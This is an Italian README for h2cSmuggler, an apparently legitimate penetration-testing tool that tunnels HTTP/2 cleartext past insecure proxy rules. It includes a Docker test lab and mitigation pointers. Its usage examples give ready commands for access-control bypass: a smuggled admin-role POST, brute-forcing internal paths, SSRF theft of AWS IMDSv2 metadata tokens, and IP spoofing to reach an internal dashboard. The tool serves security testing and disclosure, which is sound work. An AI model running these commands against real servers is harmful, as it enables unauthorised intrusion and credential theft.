h2cSmuggler

Descrizione

h2cSmuggler contrabbanda traffico HTTP oltre le configurazioni proxy_pass non sicure dei server periferici stabilendo comunicazioni HTTP/2 in chiaro (h2c) con server back-end compatibili con h2c, consentendo di bypassare le regole del proxy e i controlli di accesso.

Vedi il mio dettagliato articolo qui sotto per:

• Analisi tecnica della vulnerabilità
• Servizi insicuri per impostazione predefinita
• Guida alla mitigazione

Qui: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c

Come testare?

Qualsiasi endpoint proxy che inoltra intestazioni di upgrade h2c può essere vulnerabile. Poiché h2c è progettato per essere eseguito solo su canali in chiaro, il rilevamento su servizi HTTPS spesso produce veri positivi.

Al contrario, i servizi HTTP possono generare falsi positivi. Ad esempio, i proxy abilitati per h2c potrebbero rispondere all'upgrade invece di inoltrarlo a un back-end h2c.

Usa l'opzione --scan-list per testare uno o più server web alla ricerca di endpoint proxy_pass vulnerabili. Considera l'uso di un elenco di directory scoperte tramite enumerazione delle directory, come ad esempio:

urls.txt

https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...

Esegui h2cSmuggler con l'elenco di endpoint e un numero totale di thread:

./h2csmuggler.py --scan-list urls.txt --threads 5

Oppure, un test individuale può essere eseguito con:

./h2csmuggler.py -x https://www.example.com/api/ --test

Rilevamento con altri strumenti popolari:

• Estensione Burp (controllo di scansione attiva)
• Modello Nuclei (Prossimamente! Richiede la risoluzione di questo problema)

Sfruttamento

Una volta identificato un endpoint vulnerabile che può essere utilizzato per il tunneling, puoi ora accedere o forzare brute-force su endpoint interni sul server back-end e fornire verbi o intestazioni personalizzati. Nella demo qui sotto, dimostriamo l'accesso a un endpoint interno /flag utilizzando lo smuggling h2c per bypassare le regole di negazione del proxy.

Per mitigare, non inoltrare valori forniti dall'utente per le intestazioni Upgrade o Connection. Vedi il post tecnico per ulteriori indicazioni.

Istruzioni di installazione

L'unica dipendenza è la libreria Python hyper-h2:

pip3 install h2

Ambiente di test e demo

L'ambiente di test ti permetterà di sperimentare con h2cSmuggler in un ambiente controllato. docker-compose simulerà tre catene di proxy che portano a un back-end Golang abilitato per h2c:

Porta TCP: Descrizione
=========  ===========
8000:      Back-end HTTP h2c
8001:      HAProxy -> back-end h2c (configurazione predefinita non sicura)
8002:      nginx -> back-end h2c (configurazione personalizzata non sicura)
8003:      Nuster -> HAProxy -> back-end h2c (configurazione non sicura con più livelli di proxy)

[1] Genera i certificati e avvia l'ambiente con docker-compose:

# Genera certificati
./configs/generate-certificates.sh

# Attiva i servizi
docker-compose up

Tutti i proxy negano l'accesso all'endpoint /flag accessibile sul back-end h2c. Proviamo ad accedere all'endpoint vietato tramite il server HAProxy in esecuzione sulla porta 8001:

Possiamo usare h2cSmuggler per confermare la configurazione non sicura del proxy usando --test (o -t):

Ora, usiamo h2cSmuggler per eseguire un upgrade h2c, tunnelare il nostro traffico HTTP/2 attraverso il proxy e richiedere l'endpoint /flag dal back-end, bypassando il controllo di accesso del proxy:

Per una spiegazione più approfondita di ciò che accade, dai un'occhiata all'analisi tecnica.

Utilizzo

h2cSmuggler utilizza una sintassi simile a curl per descrivere la richiesta contrabbandata:

usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
                      [url]

Detect and exploit insecure forwarding of h2c upgrades.

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  --scan-list SCAN_LIST
                        list of URLs for scanning
  --threads THREADS     # of threads (for use with --scan-list)
  --upgrade-only        drop HTTP2-Settings from outgoing Connection header
  -x PROXY, --proxy PROXY
                        proxy server to try to bypass
  -i WORDLIST, --wordlist WORDLIST
                        list of paths to bruteforce
  -X REQUEST, --request REQUEST
                        smuggled verb
  -d DATA, --data DATA  smuggled data
  -H HEADER, --header HEADER
                        smuggled headers
  -m MAX_TIME, --max-time MAX_TIME
                        socket timeout in seconds (type: float; default 10)
  -t, --test            test a single proxy server
  -v, --verbose

Esempi

1. Scansione di un elenco di URL (ad es., https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) per identificare endpoint proxy_pass suscettibili allo smuggling (fai attenzione al numero di thread quando testi un singolo server):

./h2csmuggler.py --scan-list urls.txt --threads 5

Oppure, per reindirizzare l'output su un file. Usa stderr (2>) e stdout (1>). Il flusso stderr contiene errori (es., problemi di handshake SSL/timeout), mentre stdout contiene i risultati.

./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

2. Invio di una richiesta POST contrabbandata oltre https://edgeserver a un endpoint interno:

./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3. Forzatura brute-force di endpoint interni (usando il multiplexing HTTP/2), dove dirs.txt rappresenta un elenco di percorsi (ad es., /api/, /admin/).

/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4. Sfruttamento di SSRF tramite intestazione Host su smuggling h2c (ad es., metadati AWS IMDSv2):

Recupero del token:

./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

Trasmissione del token:

./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5. Spoofing di un indirizzo IP con l'intestazione X-Forwarded-For per accedere a una dashboard interna:

./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

FAQ

D: Perché ci sono più risposte dal server?

R: La prima risposta è la risposta dati alla richiesta di upgrade originale iniziata in HTTP/1.1, secondo il protocollo di upgrade h2c. Le risposte successive provengono dalla richiesta contrabbandata.

D: Ho ricevuto un "101 Switching Protocols" ma non ricevo alcun dato dal server remoto.

R: Ho osservato questo comportamento nei miei test e ho scoperto che alcuni server rispondono con uno stato 101 anche se non supportano effettivamente HTTP/2.

D: Stabilire un tunnel h2c è sempre una vulnerabilità?

R: No. Considera un bilanciatore di carico TCP che termina TLS (es., ELB) che proxy direttamente a un back-end compatibile con h2c. Sebbene tu possa stabilire una connessione h2c, se non ci sono controlli di accesso in atto, non ci sono controlli di accesso da bypassare, né privilegi ottenuti avviando questo tunnel.

D: Perché l'URI della richiesta contrabbandata richiede uno schema? A cosa serve?

R: Il protocollo HTTP/2 richiede uno pseudo-header :scheme. Per il nostro caso d'uso, http vs. https probabilmente non ha importanza. Per maggiori dettagli, vedi RFC HTTP/2: Sezione 8.1.2.3.

D: Cosa dovrei usare come hostname per il server back-end?

R: È meglio iniziare con lo stesso hostname del server periferico. Successivamente, prova a sperimentare con valori di hostname alternativi.

Autore

Twitter: @theBumbleSec

GitHub: the-bumble